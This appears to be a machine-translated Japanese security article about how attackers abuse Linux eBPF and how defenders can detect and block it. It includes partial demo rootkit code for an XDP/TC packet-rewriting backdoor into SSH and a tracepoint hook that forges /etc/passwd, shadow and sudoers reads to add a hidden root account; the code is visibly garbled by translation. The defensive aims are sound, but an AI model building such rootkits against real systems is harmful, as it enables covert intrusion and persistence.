Linux eBPF攻撃とセキュリティ上の課題

eBPF(Extended Berkeley Packet Filter)は、Linuxカーネルにおける強力な技術であり、効率的なコードを実行するために使用でき、ネットワーク・モニタリング、パフォーマンス分析、セキュリティ監査などの分野で重要な役割を果たしている。しかし、この諸刃の剣は悪意を持って悪用されることもあり、深刻なネットワーク・セキュリティの脅威をもたらします。

序文

近年、クラウドネイティブの領域は飛躍的に成長し、K8sはクラウドOSとして認知されるようになった。コンテナの高頻度のデプロイ、短いライフサイクル、複雑なネットワーク・ルーティングは、カーネル・セキュリティに新たな課題をもたらしている。システム・カーネルが直面する複雑さは増大する一方で、システムの安定性と可用性を確保しつつ、パフォーマンスとスケーラビリティという新たな要求に応えることは極めて困難である。この時、eBPFが登場した。eBPFは、小さなサブシステムの変更でシステム・カーネルの安定性を保証し、リアルタイム・ダイナミック・ローディングの機能も備えている。これは、ビジネス・ロジックをカーネルにロードして、ホットアップデートの動的実行を実現できる。

eBPFは、1992年にSteven McCanneとVan Jacobsonによって提案されたBerkeley Packet Filterとして知られるBPFから開発され、1997年にLinux Kernel 2.1に導入され、3.0でオンザフライ・コンパイラが追加され、ネットワーク・フィルタリングの分野で使用されている。StarovoitovはeBPFを実装し、さらに強力にするためにユーザー空間に拡張した。よく使われるTCPDUMPとLIBPCAPはこれに基づいている。Linux Kernel 4.xでは、カーネルステート関数、ユーザーステート関数、トレースポイント、パフォーマンスイベント(perf_events)、セキュリティコントロールなどのイベントタイプが拡張された。特に近年では、クラウドネイティブの急速な発展もeBPFの隆盛をもたらした。Microsoft、Google、Facebook などの企業が eBPF Foundation を設立し、Cilium は eBPF 技術をベースに実装されたネットワーク製品をリリースした。しかし、eBPF技術は新たなビジネスの急速な発展を促す一方で、セキュリティ上の脅威ももたらしている。

現状分析

海外の情報や国内の情報から、eBPFが多くの技術的な問題を解決する一方で、多くの違法な組織や機関によって悪意を持って利用されていることがわかる。

海外情報

ブラックハット

Black Hat 2021で、DatadogのエンジニアGuillaume Fournierが以下のトピックについて発表した。eBPFのような友人がいれば、誰が敵を必要とするだろうか?彼は、eBPFがどのように悪意を持って悪用されるかについて、ルートキットの構築方法、悪用方法、検知防御コードの設置方法などを説明している。ギットハブ 上へ

デフコン

DEF CON29では、セキュリティ研究者のパット・ホーガンも、eBPFが悪意を持って悪用された事例をいくつか紹介している:現実を歪める - eBPFを使用した次世代のLinuxルートキットの作成と対策。 ここでは、ネットワーク、ランタイム、その他のシナリオを含むeBFPルートキットの適用シナリオと、悪意を持って悪用されるeBPFを検出する方法が説明されています。また、コードはギットハブ 上へ

Linux eBPF攻撃とセキュリティ上の課題

国内情報

外国とは対照的に、中国ではeBPFの悪質な悪用に関する情報は少なく、関連技術の共有も少ない。このハザードの側面が、国内の安全保障担当者の関心をまだ集めていない可能性があり、このままでは、国内企業の能力に影響を与えることは必至である。サイバーセキュリティ国防システムレベルの構築により、安全保障は諸外国に遅れをとり、企業の安全保障、さらには国家の安全保障に大きなリスクをもたらす。.美団情報セキュリティー防衛システムの構築者であるチームには、この悪質な悪用に対する理解を深め、その検知と防御におけるミッションの経験を共有し、次のことを強化する責任と義務がある。サイバーセキュリティ製品を通じて、国内の情報セキュリティ構築に少しでも貢献できればと考えている。

eBPF技術を悪用した攻撃原理

敵を知り、己を知ることが百戦錬磨の唯一の方法である。 良い防御をするためには、その攻撃原理を理解しなければならない。まず、eBPFルートキットがどのように設計されているかを見てみよう。eBPFの機能を見ると、以下のような機能を提供している:

  • 網目
  • コントロール
  • かんそく
  • トラッキングとパフォーマンス分析
  • 確実性

存在する網目特に、ネットワーク・オーケストレーションの分野では、特に優れた成果を上げており、従来のネットワーク・オーケストレーションに徐々に取って代わりつつある。IPテーブルなど、世界を統一しようとする大きな傾向がある。そしてコントロールかんそくなどの分野の製品も多い。特にランタイムセキュリティ(Runtime Security)の分野では、Datadog、Falco、Googleなども対応製品を発売している。興味のある方は、製品のソースコード解析(Cilium eBPF実装メカニズムのソースコード解析DatadogのeBPFセキュリティ検出メカニズムの分析)を共有する。

eBPF技術のフックポイントをおさらいする:

eBPFフックの位置

eBPFフックの位置

図からわかるように、eBPFのフックポイント機能は以下の部分で構成されている:

  1. ストレージ、ネットワークなどの間でカーネルと相互作用することができる;
  2. また、カーネル内の機能モジュール間の相互作用であることもある;
  3. ここでも、カーネルステートとユーザーステートの相互作用がある;
  4. それ以上に、ユーザーランドのプロセス空間にあることもある。

eBPFのファンクションは、XDP、TC、Probe、Socketなどをカバーする。各ファンクション・ポイントは、カーネル・ステートの改ざん動作を可能にするため、カーネル・モジュール・ベースのHIDSであっても、ユーザー・ステートは完全にブラインドになり、また、これらの動作を感知することもできない。

eBPFの機能的な特徴を踏まえ、ビジネスシナリオの観点からは、ネットワーク、モニタリング、観測の各クラスの機能がクラウドネイティブ分野の製品開発を促進し、トラッキング/パフォーマンス分析、セキュリティの各クラスの機能がセキュリティ防御・監査製品の進化を加速させ、セキュリティ分野における悪意のある悪用もまた、eBPFの機能的な特徴になる。ハッカー懸念される方向性この記事では、新たな脅威と防衛策について述べる。

Linux eBPF攻撃とセキュリティ上の課題

データの流れの段階という観点から、本稿は2つのパートに分けられ、悪意のある悪用、リスクの危険性、防御のアイデアについての議論が続く。

  1. Linuxネットワーク層の悪意ある悪用
  2. Linuxランタイムの悪意ある悪用

Linuxネットワーク層の悪意ある悪用

SSHとWebサービスを持つサーバーを例にとると、IDCの一般的なネットワークアクセスポリシーでは、パブリックなWeb 80ポートが開放され、あらゆるソースからのIPアクセスが許可される。そして、SSHサービスは、特定のIP、またはオープンなイントラネットポートアクセスのみを許可します。

このサーバーがハッキングされ、ハッカーがバックドアを残す必要があり、バックドアチャンネルとして機能するために隠された信頼性の高いネットワークリンクが必要だと仮定すると、eBPF技術を使ってどのように実現できるでしょうか?

XDP/TCレイヤーはTCPパケットを変更する

バックドアをよりよく隠すために、プロセスを開かず、ポートをリッスンしない方がよい(現在の部分では、我々は唯一のネットワーク層の隠蔽を議論する)。XDP、TC、ソケットと他のカーネル層の機能のeBPF技術は、トラフィック情報の変更を達成することができます、これらの機能は、多くの場合、L3、L4ネットワークの負荷分散に使用されます。例えば、CiliumのネットワークポリシーはすべてeBPFのXDP実装に基づいています。eBPFはXDPポイントをフックし、TCPパケットの宛先IPを変更し、システムカーネルがパケットを転送します。

LinuxカーネルのXDPとTCに続いて、出入口の位置が処理され、フックポイントがより正確に決定される。

Linux eBPF攻撃とセキュリティ上の課題

  • XDP は BPF_PROG_TYPE_XDP プロシージャタイプを持っており、 イングレスからのトラフィックをドロップ、変更、再送することができますが、 イグレスでは動作しません。
  • TCのBPF_PROG_TYPE_SCHED_CLSは、XDP "BPF_PROG_TYPE_XDP "の機能に加えて、イグレスで動作することができる。

前者の最も一般的なシナリオは、ネットワーク・ファイアウォールによるネットワーク・トラフィックのクリーニングで、従来のファイアウォールよりもはるかに効率的だ。後者は、クラウド・ネイティブ・シナリオ、コンテナ、ポッド・ネットワーク・モニタリング、セキュリティ・アクセス制御などでよく使われる。この例では、受信トラフィックと送信トラフィックの両方を調整する必要があるため、両方のフックポイントを利用できるようにする必要がある。同様に、関連するパケット・ロジックが処理されるXDPや他のフックのフェーズでは、通信パケットをよりうまく隠すことができ、tcpdumpや他のツールは捕捉できない。

コントロールリンク

バックドアシナリオでは、eBPFのロードバランシングのように、同じ場所でターゲットポートをWeb Nginxの80からSSHDの22に変更すれば、ネットワークデータのパススルーが実現し、ファイアウォールだけでなくネットワークアクセス制限も回避できる。

認証キー

バックドアのルートキットはXDPTCレイヤーで動作するため、できるだけシンプルにするために、認証キーにはリンク、ネットワーク、トランスポートレイヤーのデータのみ、つまりMAC情報、IPクインテットなどを使用するのがベストである。IPは頻繁に変更され、MACアドレスは確率的に一意であり、さらに固定ポートを設定することで、ルートキットの認証キーを実装することができる(以下のことが必要である。クライアントが接続を開始する際に、クライアントのTCPポートを指定すること)。

eBPFマップにリンクされたeBPFアップローブ

バックドアのルートキットの鍵更新には、eBPFを使用するのも良い。例えば、Nginxのシナリオでは、uprobeがフックHTTP関数を実装してURLパラメータに特定の文字列を取得し、その文字列をeBPFマップに保存することで、キーの更新を実現している。

XDP/TCレイヤでのeBPFルートキットの実行は、eBPFマップのキーを読み取り、比較演算を実行する。

実施プロセス

これはXDPがイングレスを処理する例である:

証券取引委員会"xdp/ingress")
イント xdp_ingress()構造体 xdp_md *ctx) {。
構造体 カーソルc。
構造体 pkt_ctx_t pkt.

//プロトコルがSSHDかどうかを判断し、SSHDでなければ直接リリースする。
もし (!(not SSHD protocol(&c))) {。
戻る XDP_PASS。
}

// ルートキットが一致するかどうか、NIC情報が送信元ポートと一致するかどうかを判断する。
hack_mac[] = "bpfマップ設定の読み込み"
もし(キーの不一致){」。
戻る XDP_PASS。
}

// クライアントがすでに存在するかどうかを確認するためにマップを読む。
構造体 netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);

構造体 netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);

// カモフラージュ・メッセージが見つからない場合は、自分で組み立てる。
もし(!クライアント値) { __builtin_memset(&client_value)
__builtin_memset(&client_value、 0sizeof(client_value));
} その他 {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}


// マックLANのマック情報を偽装する
pkt.eth->h_source[.0] = 0x00;
...

// クライアントポートは変更せずに、マスカレードのipソースを置き換える。

// 送信先ポートの変更
pkt.tcp->dest = htons(FACK_PORT);    //22

// TCP SUMレイヤー4を計算
ipv4_csum(pkt.tcp, sizeof()構造体 tcphdr), &csum);
pkt.tcp->check = csum;

// TCが元のmac, IP情報を復元してegressを処理するための偽装マップを書く。
戻る XDP_PASS。
}

比較的簡単なデモで、TCPパケットをegress側で偽装することができる。同様に、TCレイヤーがegress方向のパケットを処理するとき、偽装されたパケットの元の情報を縮小するだけでよい。全プロセスを下図に示す:

eBPFはXDP/TCレイヤでルートキット通信リンクのネットワーク侵入を実装する

eBPFはXDP/TCレイヤでルートキット通信リンクのネットワーク侵入を実装する

こうすることで、ルートキットの通信リンクは通常のユーザーアクセスに影響を与えず、元のシステムにも変更を加えないため、特にうまく隠すことができる。

ビデオ・デモンストレーション

テスト用に3台のホストを用意した:

  1. 侵入者:IP 172.16.71.1のcnxct-mt2。
  2. 一般ユーザー:ubuntu、IPは172.16.71.3。
  3. 侵害されたサーバー:vm-ubuntu、IP 172.16.71.4。nginxのウェブポート80を開き、SSHDのポート22を開き、イントラネットのIPアクセスのみを許可するiptablesルールを設定。

脅す

このルートキットは能動的にソケットを作成することはなく、ネットワーク送信パケットの1つを拝借してバックドアユーザーにメッセージを配信する。システムへの影響という点では、取るに足らない小さなネットワーク・レスポンスに過ぎない。何千ものHTTPパケットの中から位置を特定することはまったくできない。

  1. iptables ファイアウォールバイパス一般に公開されている80番ポートを通信トンネルとして使用する;
  2. WebIDSバイパストラフィックはサーバーに到着し、Nginxには渡されない;
  3. NIDSバイパス侵入者のトラフィックがLANの間を流れても、何も異常はない;
  4. HIDSバイパスファイアウォールはローカル/LANソースからのSSHDログインを無視するように信頼されていますか。

Linuxランタイムの悪意ある悪用

クラウドネイティブ・エコシステムでは、Calico、Ciliumなど、eBPF技術実装に基づくクラスタ・ネットワーク管理プラグインが多数登場している。ビジネスに実装されたネットワーク管理サービスはコンテナ化された方法でデプロイされ、eBPFシステムコールをサポートするために、これらのコンテナでSYS_BPF_ADMIN権限を有効にする必要がある。これらのサービスが実行される環境は、攻撃者にとって絶好の遊び場でもある。

実施プロセス

eBPFのフック・ポイント、kprobe、syscallのトレースポイント・イベント・タイプは、バックドアのルートキット・シナリオで使用された場合、非常に恐ろしいことを思い出してください。例えば、カーネル・ステートを変更してユーザー・ステート・データに戻す、ユーザー・ステートの振る舞いを傍受してブロックするなど、やりたい放題だ。さらに恐ろしいのは、一般的なHIDSはカーネル状態やユーザー状態に基づいて動作監視を行うが、eBPFは正確にHIDS監視のほとんどをバイパスし、ログを生成せず、単に人々に「非常に恐ろしいと思わせ、戦慄させる」ことである。

トレースポイント・イベントタイプ・フック

SSHDアプリケーションでは、ユーザーがログインすると、/etc/passwdなどのファイルが読み込まれます。ユーザー状態のSSHDプログラムは、open、readなどのシステムコールを呼び出して、カーネルがハードウェアディスクにデータを取りに行って、SSHDプロセスにデータを返せるようにします。

ユーザーランドがペイロードを生成

ユーザー状態は、/etc/passwd、/etc/shadowなどのファイルに対するペイロードの生成を実装し、eBPFのRewriteConstantsメカニズムによってELF .rodataのフィールド値の置換を完了する。

インポート "github.com/ehids/ebpfmanager"

// elfの定数置換でデータを渡す。
ファンク (e *MBPFContainerEscape) コンスタントエディター() []マネージャー.コンスタントエディター {
	ヴァール ユーザー名 = RandString(9)
	ヴァール パスワード = RandString(9)
	ヴァール s = RandString(8)

salt := []バイト(fmt.Sprintf()"$6$%s", s))
	// ソルトを使用して、ユーザーが入力したパスワードをハッシュ化する。
	c := sha512_crypt.New()
hash, err := c.Generate([])バイト(パスワード), salt)
    
	ヴァール m = 地図[ストリング]インターフェース{}{}
res := 作る([]バイトPAYLOAD_LEN)
	ヴァール payload = fmt.Sprintf()"%s all=(all:all) nopasswd:all #"ユーザー名)
	コピー(res、ペイロード)
m[「ペイロード] = res
m["payload_len"] = uint32(レン(ペイロード))

    // passwd文字列を生成する
	ヴァール payload_passwd = fmt.Sprintf()"%s:x:0:0:root:/root:/bin/bashn"ユーザー名)
	// シャドウ文字列を生成する
	ヴァール payload_shadow = fmt.Sprintf()"%s:%s:18982:0:99999:7:::n"ユーザー名, ハッシュ)
	
    // eBPF RewriteContants
    ヴァール editor = []manager.ConstantEditor{.
{
名前          「ペイロード,
値: m[「ペイロード],
FailOnMissing. 真実,
},
{
名前          "payload_len",
値: m["payload_len"],
FailOnMissing. 真実,
            },
    }
    戻る エディタ
}

ファンク (この *MBPFContainerEscape) セットアップマネージャー() {
this.bpfManager = &manager.Manager{。
プローブ: []*manager.Probe{
{
セクション          "tracepoint/syscalls/sys_enter_openat",
EbpfFuncName.     "handle_openat_enter",
AttachToFuncName. "sys_enter_openat",
}
            ...
},

マップ: []*manager.Map{
{
名前 「イベント,
},
},
}

this.bpfManagerOptions = manager.Options{.
...
		// RewriteContantsに対応するマップを埋める。
		コンスタントエディター:this.constantEditor()、
}
}

ペイロードを使用したカーネルの状態

コンスト 揮発性 イント ペイロード長 0;
...
コンスト 揮発性 シャル payload_shadow[MAX_PAYLOAD_LEN]。

SEC("tracepoint/syscalls/sys_exit_read")
イント ハンドル・リード・エグジット(struct trace_event_raw_sys_exit *ctx)
{
    // 動作がルートキットかどうか、ペイロードをロードする必要があるかどうかを判断する。
    ...
    長い イント read_size = ctx->ret;
    // 元のバッファの長さがペイロードより短いかどうかを判断する。
    もし (read_size < payload_len) { 。
        戻る 0;
    }
    
    // ファイル・タイプを判断し、マッチすれば適切なペイロードを追加する。
    スイッチ (pbuff_addr->file_type)
    {
    ケース file_type_passwd.
        // ペイロードをバッファに上書きし、不足分は元のバッファを使用する。
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (ボイド*)buff_addr)。
            にとって (無記名 イント i = 0i < MAX_PAYLOAD_LEN; i++) { 。
                もし (i >= payload_passwd_len) { ローカル・バフ[i] = payload_passwd_len
                    local_buff[i] = ' ';
                }
                その他 {
                    local_buff[i] = payload_passwd[i];
                }
            }
        }
        休憩;
    ケース file_type_shadow.
        // シャドウファイルを上書きする。
        ...
        休憩;
    ケース file_type_sudoers.
        //sudoers を上書きする
        ...
        休憩;
    デフォルト:
        戻る 0;
        休憩;
    }


    // ペイロードメモリをバッファに書き込む
    ret = bpf_probe_write_user((ボイド*)buff_addr, local_buff, MAX_PAYLOAD_LEN)。
    // ユーザーランドにイベントを送信
   
    戻る 0;
}

上記のデモrootkitの設計によると、それはランダムなユーザー名とパスワードのルートアカウントの追加を完了します。認証の面では、「eBPFネットワーク層の悪意のある使用」デモで使用することもでき、eBPFマップの相互作用を使用して、対応する認証を実現します。ただし、ルートキット自体はハードドライブ上のファイルを変更することはなく、危険な動作を生成することもありません。さらに、ルートキットは特定のプロセスのみを対象としているため、よりステルス性が高くなっています。プロセス全体を下図に示す:

実行時セキュリティシナリオにおけるeBPFの悪意ある悪用

実行時セキュリティシナリオにおけるeBPFの悪意ある悪用

物理マシン上でも、root+BPFのパーミッションが与えられたコンテナ上でも、同じように動作する。

危急存亡

クラウドネイティブのシナリオでは、SYS_ADMIN権限を与えるコンテナシナリオが多く、最近の「Java log4j」の脆弱性では、コンテナに直接侵入してホスト権限を取得することも可能で、恐ろしいことだと思いませんか?

しかし、それよりも恐ろしいことがある:このルートキット自身は、ユーザー状態の動作のログを生成せず、ファイルを変更することもなく、このユーザーに関する情報はシステムで見つけることができません。バックドア全体の動作はデータを生成せず、ほとんどのHIDSを無効にします。

総集編

この記事の2つのシナリオのデモから見ることができる、我々はすでにeBPF技術を知っていると信じて危険性の悪意のある使用です。実際には、これはeBPF技術の悪意のある利点の "氷山の一角 "に過ぎない、kproebuprobeはまた、このような非表示のプロセスの実装では、イントラネットスキャンの痕跡がないように、多くの機能を持っています。関連する悪意のある悪用については、以下を参照してください。悪いBPF - eBPFを使って現実を歪めるある記事

侵入者が慎重にルートキット、プロセス隠蔽などを設計した場合、ルートキットは、この記事のアイデアによると、より隠されたように、 "ゴーストのような "バックドアを達成するために、それは人々が恐れていることを考える。

従来のホスト・セキュリティ・ディフェンス製品は、一般的にNetlink、Linux Kernel Module、その他のテクノロジーを使用して、プロセス生成、ネットワーク通信、その他の挙動認識を実現している。一方、eBPFのフック・ポイントは、これらのテクノロジーよりも深く、これらのテクノロジーよりも先に実行される可能性があるため、従来のHIDSでは認識・発見することができない。

伝統的なルートキットは、フックapiメソッドを使用して、関数の呼び出しアドレスの変更の実装では、その結果、元の関数を置き換えるには、成熟した検出メカニズムがあり、eBPFフックは、伝統的なルートキットとは異なり、関数の呼び出しスタックは変更されません。これは検出に多くの問題をもたらす。

では、どうすればこのようなバックドアを検知し、防御することができるのだろうか?

検知と防御

経過としては、3つの段階がある:

  • 使用前
  • じっこうじかん
  • ポストラン

Linux eBPF攻撃とセキュリティ上の課題

使用前

悪意のあるプログラムが実行される前に、攻撃対象領域を減らすという考え方は不変だ。

環境制約

ホストであろうとコンテナであろうと、パーミッションは収束しており、SYS_ADMIN、CAP_BPF、その他のパーミッションを与えることができないのであれば、それらを無効にする。あなたがこの権限を開く必要がある場合は、実行時にのみ検出セッションに置くことができます。

セコムの制限

コンテナ起動時に、デフォルトのseccomp.jsonを修正してbpfシステムコールを無効にし、コンテナのエスケープを防ぐ。

カーネル・コンパイル・パラメータの制限

実行時保護のために関数の戻り値を変更する場合は、bpf_override_returnを使用する必要があります。この場合、カーネルがCONFIG_BPF_KPROBE_OVERRIDEコンパイル・パラメータを有効にする必要があるため、特別な状況でない限り、このコンパイル・パラメータを有効にしないでください。

非特権ユーザー命令

ほとんどのeBPFプログラム・タイプは、root権限を持つユーザが実行のために呼び出す必要があります。BPF_PROG_TYPE_SOCKET_FILTERやBPF_PROG_TYPE_CGROUP_SKBのように、rootを必要としない例外はいくつかありますが、システム・コンフィギュレーション・スイッチを読み込む必要があります。

//https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

もし (タイプ != bpf_prog_type_socket_filter && (type !
type != bpf_prog_type_cgroup_skb && bpf_capable()
!bpf_capable())
		戻る -エパーム

スイッチ確認

proc/sys/kernel/unprivileged_bpf_disabledで、次のように実行する。sysctl kernel.unprivileged_bpf_disabled=1をクリックしてコンフィギュレーションを変更します。コンフィギュレーションの意味はproc/sys/kernel/に関する文書

  • 値0は、非特権ユーザーがbpfの起動を許可されていることを示す;
  • 値を1に設定すると、非特権ユーザーがbpfを起動することを禁止し、値を変更することはできない;
  • 値2は、非特権ユーザーのbpf起動を禁止することを意味し、0または1に再度変更することができる。

キャラクター設定

カーネルがBPFバイトコードをロードする際に署名検証を行い、安全に署名されたBPFバイトコードのみがロードされるようにすることが提案されています。このトピックはlwn.netにも掲載されています:BPF バイトコード署名スキーム

しかし、多くの人はこうも言う。異議彼らは、ここ数年のBPFモジュールは抽象的で複雑すぎたため、余計な機能を追加してBPFを不安定にしたくないと考えている。その代わりに、彼らはバイトコードがロードされたときに署名されるようにするために、「署名されるユーザープログラムによってロードされたBPFバイトコードを実行する」という考え方に変更しました。これは既存のカーネルの機能であり、システムの複雑さを増加させるものではありません。

この記事では、これによってBPFバイトコードローディングの問題のほとんどが軽減されると論じている。しかし、システム・ネイティブ・コマンド(tcipbpftoolなど)がロードされた場合、やはり脅威に直面する。例えばip link set dev ens33 xdp obj xdp-example_pass.o

ipコマンドはeBPFバイトコードをロードする。

ipコマンドはeBPFバイトコードをロードする。

動作チェック

ほとんどのeBPFプログラムはリブート後にはもう存在しないので、侵入者はできるだけバックドアを自己起動させようとする。Linuxシステムのセルフブート、crontab、その他のスケジュールされたタスクをよくチェックしてください。

ユーザーステートプログラムは、ELF実行可能ファイル、ELF、ダイナミックリンクライブラリなど、さまざまな形で存在することができます。実行中、BPFバイトコードをロードするためにBPF syscallを呼び出す必要があります。実行可能なELFだけを検出するのは正確ではありません。

じっこうじかん

コントロール

Linuxシステム上で動作するすべてのプログラムはシステム・コールを行う必要があり、eBPFプログラムも例外ではない。321のsyscallを持つSYS_BPF命令を呼び出す必要がある。そして、すべてのeBPFプログラムの実行、マップの作成は、このsyscallコールを行わなければならない。そして、この必要なパスでインターセプトとモニターを行うのが最善の解決策である。

証券取引委員会"tracepoint/syscalls/sys_enter_bpf")
イント トレースポイント_シス_入力_bpf(struct syscall_bpf_args *args) {
	構造体 bpf_context_t *bpf_context = メイク・イベント();
	もし (!bpf_context)
		戻る 0;
bpf_context->cmd = args->cmd;
get_common_proc(&bpf_context->procinfo) ;
send_event(args, bpf_context) ;
    戻る 0;
}

ここでは、私たちのオープンソースehidsプロジェクトがBPFシステムコール検出のサンプルを作成しました。リポジトリのアドレスはGitHub/ehids

注意深い読者は、この時点で、もし侵入者のバックドアが先に実行され、このシステム・コールをスプーフィングしたらどうなるのだろうかと思うかもしれない。これは非常に良い質問であり、実行後のトレーサビリティの章で議論することにしよう。しかし、ほとんどのシナリオでは、HIDS防御製品はまだ最初に開始することができます。

監査と審査

上記では、BPFシステムの起動を監視することについて説明した。クラウドネイティブシナリオでは、eBPFをベースに実装されたネットワーク製品が頻繁に起動され、大量のイベントログが生成されるため、運用学生への負担が大きくなる。そこで、動作の効率化と的確なスクリーニングを行うことが次の目標となる。

番組ホワイトリストによるフィルタリング

データフィルタリング、大量のデータの圧力に対する解決策。BPF アプリケーションのいくつかのビジネスサーバでは、ビジネス動作自体が大量のコールを生成します。既知のプロセスについては、プロセスの特性に基づいてフィルタリングすることができます。

現在のプロセスのpidやcommなどの属性を取得し、ユーザ状態でeBPFマップに書き込まれた設定に従って、報告するかどうか、インターセプトするかどうかを決定する。 ユーザーステートでフィルタリングを行うことも可能だが、カーネルステートの方が効率的である。インターセプトを行う場合は、カーネルステートで実装する必要がある。

を参照されたい。saBPF製品デザインのアイデア eBPFを使用して、LSMフック・ポイントのフック手順を実装し、関連する監査コールを完了する。しかしGitHub/saBPF-project プロジェクトのコードはまだデモに過ぎないが、アイデアは拝借できる。

Linux eBPF攻撃とセキュリティ上の課題

SYSCALLタイプによるフィルタリング

BPFのsyscallでは、サブコマンド関数にはmap、prog、その他多くの種類の操作が含まれる。bpf() サブコマンド・リファレンス 実際のビジネス・シナリオでは、「書き込み」操作のセキュリティ・リスクは「読み込 み」操作よりも高いので、「読み取り」操作をフィルタリングし、「書き込み」 操作だけを報告・監査することができる。したがって、「読み取り」操作をフィルタリングし、「書き込み」操作だけを報告し、監査することができる。

例えば、こうだ:

  • MAPの作成 BPF_MAP_CREATE
  • PROGロード BPF_PROG_LOAD
  • BPF_OBJ_PIN
  • bpf_prog_attach
  • BPF_BTF_LOAD
  • bpf_map_update_batch

特にBPF要件のあるビジネスシナリオでは、ログの監査をより適切に行うことができる。

ポストラン

eBPFユーザーランド・プログラムはカーネルランド・プログラムと相互作用しますが、BPFバイトコードをロードした後、終了できますか?終了後、カーネルフックBPF関数はまだ動作しますか?作成されたマップはまだ存在しますか?より良いステルス性を確保するために、バックドア・プログラムをどのように選択すればよいでしょうか?

これらの疑問に答えるには、BPFプログラムのロードメカニズム、BPFオブジェクトのライフサイクルについて言及しなければならない。

ファイル記述子と参照カウンタ

ユーザー状態のプログラムは、ファイル記述子FDを介してBPFオブジェクト(プログ、マップ、デバッグ情報)にアクセスし、それぞれのFDは参照カウンターを持つ。ユーザー状態が対応するFDをオープンして読み込むと、対応するカウンターは増加する。FDが閉じられると、参照カウンタは減少し、refcntが0になるとカーネルはBPFオブジェクトを解放し、このBPFオブジェクトは動作しなくなる。

セキュリティ・シナリオでは、ユーザー状態のバックドア・プロセスが終了すると、バックドアeBPFプログラムも一緒に終了する。これは、プロセス・リストに不審なプロセスが含まれていないかどうか、セキュリティ・チェックを行う際に有利な機能である。

しかし、全ての BPF オブジェクトがユーザランドプロセスの終了とともに終了するわけではありません。カーネルの原理から言えば、BPFオブジェクトを生存させ、バックドアプロセスを動作させ続けるためには、refcntが0より大きいことを保証すればよいのです。実際、BPFプログラムタイプのうち、XDP、TC、CGROUPベースのフックのようなフックはグローバルであり、ユーザ状態のプロセスの終了とともに終了することはありません。対応する FD はカーネルによって維持され、refcnt カウンタがゼロでないことを保証し、それによって動作し続けます。

物事の起源を調べる。

セキュリティエンジニアは、しばしば、異なるシナリオに従って、異なるトレーサビリティ戦略を立てる必要がある。本稿で紹介するトレーサビリティの方法は、すべてeBPFの関連するインタフェースを使用する:悪意のあるプログラムがチェックツールよりも早く実行された場合、結果が改ざんされる可能性がある。

短いライフサイクル

BPFプログラム・タイプの表現

  • k[ret]プローブ
  • u[ret]プローブ
  • トレースポイント
  • raw_tracepoint
  • パーフイベント
  • ソケットフィルター
  • ロイゼポート

その特徴は、FD管理、カーネル自動クリーンアップ、システム安定性の向上に基づいている。このプログラムタイプのバックドアは、トラブルシューティング中にユーザー状態のプロセスとして明確に特徴付けられる。そしてそれはシステム上で実行されているBPFプログラムのリストから得ることができる。

bpftoolツール

eBPFプログラム一覧

命令bpftool prog showのみならずbpftool prog ヘルプもっとパラメータを見る。

Linux eBPF攻撃とセキュリティ上の課題

その結果、システム上で現在実行されているBPFプログラム、関連するBPFマップID、対応するプロセス情報を見ることができる。また、注意深い読者であれば、この結果ではXDPデータにプロセスIDの情報がないことに気づくかもしれないが、これについては後述する。

eBPFマップリスト

命令bpftoolマップショーのみならずbpftoolマップヘルプさらに多くのパラメーターを見ることができる。

Linux eBPF攻撃とセキュリティ上の課題

マップ情報を見ることで、プロセス情報と一緒に修正することができる。さらに、マップのデータをエクスポートすることで、悪意のあるプロセスの振る舞いを特定することができる。これについては「フォレンジック」のセクションで説明する。

bpflist-bpfcc

bpflist-bpfcc -vvコマンドを実行すると、現在サーバー上で動作している "いくつかの "BPFプログラムのリストを見ることができます。テスト環境を例にとって説明しよう:

root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc -v
kprobesを開く。

uprobesを開く

pid comm type count
1 systemdプログ 8
10444 ehids マップ 4
10444 ehids プログ 5

システム・プロセスsystemdが8つのプログ・プログラムを起動していることがわかる。ehidsプロセスは5つのプログで4つのeBPFマップを作成する。ip link set dev ens33 xdp obj xdp-example_pass.oコマンドの出力は、すべてのbpfプログラム、マップに当てはまるわけではないということだ。これは、このコマンドの出力がすべてのbpfプログラム、マップに当てはまるわけではないことを意味する。

Linux eBPF攻撃とセキュリティ上の課題

ロングライフ・サイクル

BPFプログラム・タイプの表現

  • XDP
  • TC
  • LWT
  • CGROUP

ipコマンドでBPFバイトコードをロードする場合、BPFツールで問い合わせができないか、情報が欠落していることがよくあります。この理由は、その動作原理から説明する必要があります。

ip コマンドは BPF の原則をロードします。

BPFオブジェクトのライフサイクルは参照タイマーを使って管理され、すべてのBPFオブジェクトが従う必要のある一般原則である。対照的に、ライフサイクルの長いプログラムタイプは、カーネル空間にパラメータを渡すユーザー制御プログラムとしてFDを開始し、カーネル空間によって維持される。

前述のIPコマンドでip link set dev ens33 xdp obj xdp-example_pass.o例えば、ipコマンドのパラメータにbpfバイトコード・ファイルの名前が含まれ、ipプロセスは.oバイトコードのFDをオープンし、NETLINKを通じてIFLA_XDP型(サブタイプはIFLA_XDP_FD)のメッセージをカーネルに送信し、カーネルはdev_change_xdp_fd関数を呼び出し、FDはネットワーク・カードに引き継がれ、参照カウンタがインクリメントされ、ユーザー空間のipプロセスは終了し、BPFプログラムはまだ動作する。カーネルソースコードはelixir.bootlin.com/linux

この記事では、ipプログラムがXDPプログラム・タイプに関連していることを確認するために、パケット・グラブを行った:

17:53:22.553708 sendmsg(3, {)
{
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000},
msg_name={sa_family=AF_NETLINK, nl_pid=0, nl_groups=00000000}, msg_namelen=12、
msg_iov=[
{
iov_base={
{nlmsg_len=52、nlmsg_type=RTM_NEWLINK、nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK、nlmsg_seq=1642672403、nlmsg_pid=0}、{ nlmsg_family=NLM_F_REQUEST|NLM_F_ACK、nlmsg_seq=1642672403、nlmsg_pid=0}。
{ifi_family=AF_UNSPEC、ifi_type=ARPHRD_NETROM、ifi_index=if_nametoindex("ens33")、ifi_flags=0、ifi_change=0}、
{
{nla_len=20、nla_type=IFLA_XDP}、{
[
{{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FD}, [
